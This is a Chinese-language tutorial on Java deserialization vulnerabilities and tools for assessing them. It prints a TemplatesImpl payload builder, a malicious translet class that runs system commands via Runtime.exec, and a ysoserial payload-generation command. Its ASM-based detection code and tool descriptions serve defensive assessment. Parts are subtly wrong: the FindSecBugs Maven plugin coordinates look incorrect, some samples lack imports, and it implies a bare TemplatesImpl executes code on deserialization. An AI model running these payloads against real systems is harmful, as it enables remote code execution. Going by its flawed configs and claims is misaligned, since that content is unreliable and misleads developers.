Java反序列化安全性评估工具

Java反序列化简介

在Java中，对象序列化是指将对象转换为字节序列的过程，而反序列化则是将字节序列重新转换回对象的过程。序列化使得对象能够在网络上传输或者持久化到存储设备中，例如文件。反序列化则是在需要使用这些对象时将其还原。

Java通过java.io.Serializable接口来支持对象的序列化和反序列化。一个类只要实现了Serializable接口，它的对象就可以被序列化。如下代码示例展示了一个简单的可序列化类：

import java.io.Serializable;

public class User implements Serializable {
    private String name;
    private int age;

    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public int getAge() {
        return age;
    }
}

在进行反序列化时，Java会使用ObjectInputStream类。以下是一个简单的反序列化示例：

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class DeserializeExample {
    public static void main(String[] args) {
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.ser"))) {
            User user = (User) ois.readObject();
            System.out.println("Name: " + user.getName() + ", Age: " + user.getAge());
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

然而，Java反序列化存在潜在的安全风险。如果攻击者能够控制反序列化的数据，就可能导致任意代码执行等严重的安全问题。这是因为在反序列化过程中，Java会按照字节流中的信息重建对象，包括调用构造函数、方法等操作。如果恶意构造的字节流中包含了执行恶意代码的指令，就会在反序列化时被执行。

Java反序列化漏洞原理

Java反序列化漏洞的核心在于反序列化过程对输入数据的信任度过高。当ObjectInputStream读取字节流并尝试重建对象时，它会根据字节流中的信息调用类的构造函数、方法以及访问字段。如果攻击者能够构造恶意的字节流，使得在反序列化过程中调用了一些危险的方法，就可能引发安全问题。

以常见的TemplatesImpl类利用为例。TemplatesImpl类在Java的com.sun.org.apache.xalan.internal.xsltc.trax包中，它实现了Serializable接口。这个类有一个newTransformer方法，在某些情况下，这个方法会触发代码执行。攻击者可以通过构造恶意的TemplatesImpl对象字节流，使得在反序列化时调用newTransformer方法从而执行恶意代码。

以下是一个简化的利用TemplatesImpl类进行反序列化攻击的原理分析。首先，攻击者需要构造一个恶意的TemplatesImpl对象：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class MaliciousTemplatesImpl {
    public static void main(String[] args) throws Exception {
        // 生成恶意字节码
        File maliciousClassFile = new File("Malicious.class");
        byte[] maliciousBytecode = new byte[(int) maliciousClassFile.length()];
        try (FileInputStream fis = new FileInputStream(maliciousClassFile)) {
            fis.read(maliciousBytecode);
        }

        TemplatesImpl templates = new TemplatesImpl();
        Field nameField = templates.getClass().getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "evil");

        Field bytecodesField = templates.getClass().getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, new byte[][]{maliciousBytecode});

        Field transletNameField = templates.getClass().getDeclaredField("_transletName");
        transletNameField.setAccessible(true);
        transletNameField.set(templates, "Malicious");

        Field outputPropertiesField = templates.getClass().getDeclaredField("_outputProperties");
        outputPropertiesField.setAccessible(true);
        outputPropertiesField.set(templates, new java.util.Properties());

        Field domFactoryField = templates.getClass().getDeclaredField("_domFactory");
        domFactoryField.setAccessible(true);
        domFactoryField.set(templates, null);

        // 序列化恶意对象
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(templates);
        oos.close();

        byte[] maliciousSerializedData = bos.toByteArray();
        // 这里可以将maliciousSerializedData发送给目标应用进行反序列化攻击
    }
}

恶意的Malicious.class字节码类通常会继承AbstractTranslet类并实现其抽象方法，在方法中执行恶意代码，例如执行系统命令：

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Malicious extends AbstractTranslet {
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        try {
            Runtime.getRuntime().exec("calc"); // 这里以弹出计算器为例，实际攻击中可能是更危险的命令
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        // 空实现
    }
}

当目标应用对包含恶意TemplatesImpl对象的字节流进行反序列化时，TemplatesImpl类的newTransformer方法可能会被调用，从而触发恶意代码的执行。

Java反序列化安全性评估工具的必要性

由于Java反序列化漏洞可能导致严重的安全后果，如服务器被入侵、数据泄露等，因此对应用程序进行反序列化安全性评估至关重要。手动检查反序列化代码的安全性是一项复杂且容易出错的任务，尤其是在大型项目中，涉及到众多的类和复杂的对象关系。

Java反序列化安全性评估工具可以自动化地检测应用程序中潜在的反序列化安全漏洞。这些工具能够分析反序列化的入口点，跟踪对象的创建和方法调用过程，识别可能存在风险的代码模式。通过使用这样的工具，开发人员可以在开发阶段尽早发现并修复反序列化漏洞，运维人员也可以对已部署的应用进行定期的安全扫描，及时发现新出现的漏洞。

常见Java反序列化安全性评估工具

1. YSoSerial
   • 简介：YSoSerial是一个广泛使用的Java反序列化漏洞利用工具，同时也可以用于安全评估。它包含了一系列的利用链，能够生成针对不同Java版本和应用环境的恶意序列化数据。通过尝试使用YSoSerial中的利用链对应用进行攻击测试，可以判断应用是否存在反序列化漏洞。
   • 使用方法：首先，下载YSoSerial的JAR包。然后在命令行中使用以下命令生成恶意序列化数据：

java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser

上述命令使用CommonsCollections1利用链生成了一个包含执行calc命令的恶意序列化数据，并将其输出到payload.ser文件中。接下来，可以尝试将这个payload.ser发送给目标应用进行反序列化，如果目标应用执行了calc命令（弹出计算器），则说明存在反序列化漏洞。 2. FindSecBugs - 简介：FindSecBugs是一个基于FindBugs的静态分析工具，专门用于检测Java代码中的安全漏洞。它包含了多个针对反序列化漏洞的检测规则。FindSecBugs能够分析Java字节码，查找可能导致反序列化漏洞的代码模式，例如在反序列化过程中调用不安全的方法。 - 使用方法：可以将FindSecBugs集成到Maven项目中。在pom.xml文件中添加如下插件配置：

<build>
    <plugins>
        <plugin>
            <groupId>org.pitest</groupId>
            <artifactId>findsecbugs-maven-plugin</artifactId>
            <version>1.11.0</version>
            <executions>
                <execution>
                    <goals>
                        <goal>findsecbugs</goal>
                    </goals>
                </execution>
            </executions>
        </plugin>
    </plugins>
</build>

然后在项目根目录下执行mvn clean verify命令，FindSecBugs会分析项目中的代码，并在构建结果中报告发现的反序列化漏洞等安全问题。 3. DeserializationScanner - 简介：DeserializationScanner是一个专门用于扫描Java反序列化漏洞的工具。它通过分析应用程序的类路径，查找所有可能的反序列化入口点，并对这些入口点进行深度检查，判断是否存在潜在的反序列化漏洞。DeserializationScanner可以检测到一些复杂的利用场景，例如通过动态加载类实现的反序列化攻击。 - 使用方法：通常需要将DeserializationScanner添加到项目的依赖中，然后在项目启动时运行扫描逻辑。例如，可以在Spring Boot应用的启动类中添加如下代码：

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.CommandLineRunner;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Application implements CommandLineRunner {

    @Autowired
    private DeserializationScanner deserializationScanner;

    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }

    @Override
    public void run(String... args) throws Exception {
        deserializationScanner.scan();
    }
}

DeserializationScanner会在应用启动时对项目进行扫描，并输出发现的反序列化漏洞信息。

开发自定义Java反序列化安全性评估工具

1. 工具设计思路
   • 确定分析范围：首先需要确定要分析的代码范围，可以是整个项目的源代码，也可以是特定模块的字节码。对于大型项目，可能需要逐步缩小分析范围以提高分析效率。
   • 识别反序列化入口点：在Java代码中，反序列化通常通过ObjectInputStream的readObject方法进行。工具需要查找所有调用readObject方法的地方，这些地方就是反序列化的入口点。
   • 跟踪对象创建和方法调用：从反序列化入口点开始，工具需要跟踪对象的创建过程以及后续的方法调用。这可以通过分析字节码或者源代码中的控制流来实现。例如，通过分析对象的构造函数、方法调用语句等，判断是否存在调用危险方法的可能性。
   • 检测危险代码模式：预定义一些危险的代码模式，例如调用Runtime.getRuntime().exec方法、反射调用敏感方法等。当在跟踪过程中发现这些模式时，就标记为可能存在反序列化漏洞。
2. 基于字节码分析的实现示例
   • 使用ASM库：ASM是一个Java字节码操作框架，可以用于读取、修改和生成Java字节码。以下是一个简单的示例，使用ASM来查找调用readObject方法的地方：

import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;

public class DeserializationDetector {
    public static void main(String[] args) throws Exception {
        byte[] classBytes = new byte[(int) new File("TargetClass.class").length()];
        try (FileInputStream fis = new FileInputStream("TargetClass.class")) {
            fis.read(classBytes);
        }

        ClassReader cr = new ClassReader(classBytes);
        cr.accept(new ClassVisitor(Opcodes.ASM9) {
            @Override
            public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
                if ("readObject".equals(name) && "(Ljava/io/ObjectInputStream;)V".equals(descriptor)) {
                    System.out.println("Potential deserialization entry point found in method: " + name);
                }
                return super.visitMethod(access, name, descriptor, signature, exceptions);
            }
        }, ClassReader.SKIP_FRAMES);
    }
}

上述代码读取一个类的字节码，并使用ASM的ClassVisitor和MethodVisitor来检查方法名和描述符，当发现readObject方法时输出提示信息。 - 跟踪方法调用：进一步扩展上述示例，跟踪方法调用以检测危险方法调用。以下是一个示例，检测是否调用了Runtime.getRuntime().exec方法：

import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;
import org.objectweb.asm.tree.AbstractInsnNode;
import org.objectweb.asm.tree.MethodInsnNode;
import org.objectweb.asm.tree.MethodNode;
import org.objectweb.asm.tree.TryCatchBlockNode;
import org.objectweb.asm.util.CheckClassAdapter;

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.util.List;

public class DangerousCallDetector {
    public static void main(String[] args) throws Exception {
        byte[] classBytes = new byte[(int) new File("TargetClass.class").length()];
        try (FileInputStream fis = new FileInputStream("TargetClass.class")) {
            fis.read(classBytes);
        }

        ClassReader cr = new ClassReader(classBytes);
        ClassVisitor cv = new ClassVisitor(Opcodes.ASM9) {
            @Override
            public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
                return new MethodVisitor(Opcodes.ASM9, mv) {
                    @Override
                    public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
                        if ("java/lang/Runtime".equals(owner) && "getRuntime".equals(name) && "()Ljava/lang/Runtime;".equals(descriptor)) {
                            System.out.println("Potential dangerous call chain start: Runtime.getRuntime()");
                        }
                        if ("java/lang/Runtime".equals(owner) && "exec".equals(name) && "(Ljava/lang/String;)Ljava/lang/Process;".equals(descriptor)) {
                            System.out.println("Potential dangerous call: Runtime.getRuntime().exec");
                        }
                        super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
                    }
                };
            }
        };
        cr.accept(cv, ClassReader.SKIP_FRAMES);
    }
}

上述代码在方法调用处检查是否调用了Runtime.getRuntime()和Runtime.getRuntime().exec方法，并输出相应的提示信息。

评估工具的局限性

1. 误报和漏报
   • 误报：一些评估工具可能会因为检测规则过于严格而产生误报。例如，在某些合法的业务逻辑中，可能会调用类似Runtime.getRuntime()的方法，但并不是用于执行恶意命令。工具可能无法准确区分这些情况，从而将其标记为潜在的漏洞。
   • 漏报：由于Java反序列化漏洞的利用方式不断演变，新的利用链和技术不断出现，评估工具可能无法及时检测到最新的漏洞。此外，一些复杂的利用场景，例如通过加密或混淆的字节流进行反序列化攻击，可能会绕过工具的检测。
2. 环境依赖
   • 版本兼容性：不同的Java版本对反序列化的实现可能存在差异，一些评估工具可能只适用于特定的Java版本。例如，某些利用链在高版本Java中可能已经失效，但工具可能仍然将其作为有效的检测方式，导致不准确的评估结果。
   • 应用框架差异：不同的Java应用框架（如Spring、Struts等）对反序列化的处理方式不同。评估工具可能无法全面考虑各种框架的特性，在检测基于特定框架的应用时可能会出现漏报或误报的情况。
3. 深度分析能力
   • 动态代码执行：对于一些动态加载类、动态生成字节码并进行反序列化的场景，评估工具可能难以进行深度分析。这些动态行为在静态分析时很难准确捕捉，从而导致无法检测到潜在的漏洞。
   • 复杂对象关系：在大型项目中，对象之间的关系可能非常复杂，涉及到多层继承、接口实现等。评估工具可能无法完整地分析这些复杂关系，遗漏一些隐藏在复杂对象交互中的反序列化漏洞。

尽管存在这些局限性，Java反序列化安全性评估工具仍然是保障应用程序安全的重要手段。开发人员和安全人员需要结合工具的特点，采用多种检测方法，并不断关注最新的安全动态，以提高应用程序的反序列化安全性。